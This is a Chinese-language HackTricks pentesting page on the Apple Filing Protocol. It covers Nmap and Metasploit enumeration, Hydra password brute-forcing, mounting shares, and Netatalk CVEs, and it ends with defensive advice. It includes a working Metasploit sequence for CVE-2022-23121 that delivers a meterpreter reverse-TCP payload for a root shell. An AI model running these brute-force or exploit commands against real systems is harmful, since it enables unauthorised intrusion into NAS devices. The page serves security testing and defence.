548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 7 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Apple Filing Protocol (AFP),曾被称为 AppleTalk Filing Protocol,是一种专门的网络协议,包含在 Apple File Service (AFS) 中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 风格和 ACL 权限、资源分叉、命名扩展属性以及复杂的文件锁定机制。
尽管 AFP 在现代 macOS 版本中已被 SMB 取代(自 OS X 10.9 起,SMB 为默认协议),但仍然可以在以下环境中遇到:
- 传统的 macOS / Mac OS 9 环境
- 嵌入开源 Netatalk 守护进程的 NAS 设备(QNAP、Synology、Western Digital、TrueNAS…)
- 仍启用 Time-Machine-over-AFP 的混合操作系统网络
默认 TCP 端口: 548(AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
枚举
快速横幅 / 服务器信息
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
有用的 AFP NSE 脚本:
脚本 | 功能 |
---|---|
afp-ls | 列出可用的 AFP 卷和文件 |
afp-brute | 对 AFP 登录进行密码暴力破解 |
afp-serverinfo | 转储服务器名称、机器类型、AFP 版本、支持的 UAM 等 |
afp-showmount | 列出共享及其 ACL |
afp-path-vuln | 检测(并可以利用)目录遍历,CVE-2010-0533 |
如果需要更多控制,可以将 NSE 暴力破解脚本与 Hydra/Medusa 结合使用:
hydra -L users.txt -P passwords.txt afp://<IP>
与共享交互
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (使用 afpfs-ng
‑ 大多数发行版中打包)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
一旦挂载,请记住经典的 Mac 资源分支作为隐藏的 ._*
AppleDouble 文件存储 – 这些文件通常包含 DFIR 工具遗漏的有趣元数据。
常见漏洞与利用
Netatalk 未经身份验证的 RCE 链 (2022)
多个 NAS 供应商发布了 Netatalk ≤3.1.12。在 parse_entries()
中缺乏边界检查使攻击者能够构造恶意的 AppleDouble 头并在身份验证之前获得 远程根权限 (CVSS 9.8 – CVE-2022-23121)。NCC Group 提供了关于利用 Western-Digital PR4100 的完整报告和 PoC。
Metasploit (>= 6.3) 提供了模块 exploit/linux/netatalk/parse_entries
,该模块通过 DSI WRITE
传递有效载荷。
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
如果目标运行受影响的 QNAP/Synology 固件,成功利用将获得 root 权限的 shell。
Netatalk OpenSession 堆溢出 (2018)
较旧的 Netatalk (3.0.0 - 3.1.11) 存在 DSI OpenSession 处理程序中的越界写入漏洞,允许未经身份验证的代码执行 (CVE-2018-1160)。Tenable Research 发布了详细的分析和 PoC。
其他显著问题
- CVE-2022-22995 – 符号链接重定向导致任意文件写入 / RCE,当启用 AppleDouble v2 时 (3.1.0 - 3.1.17)。
- CVE-2010-0533 – Apple Mac OS X 10.6 AFP 中的目录遍历 (由
afp-path-vuln.nse
检测)。 - 在 Netatalk 4.x (2024) 中修复了多个内存安全漏洞 – 建议升级而不是修补单个 CVE。
防御建议
- 禁用 AFP,除非严格需要 – 使用 SMB3 或 NFS。
- 如果必须保留 AFP,升级 Netatalk 至 ≥ 3.1.18 或 4.x,或应用供应商固件以回溯 2022/2023/2024 的补丁。
- 强制执行 强 UAMs (例如 DHX2),禁用明文和访客登录。
- 将 TCP 548 限制在受信任的子网内,并在远程暴露时将 AFP 包裹在 VPN 内。
- 定期使用
nmap -p 548 --script afp-*
在 CI/CD 中扫描,以捕捉流氓 / 降级设备。
暴力破解
参考文献
- Netatalk 安全公告 CVE-2022-23121 – "parse_entries 中的任意代码执行" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "利用一个 18 年的漏洞 (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。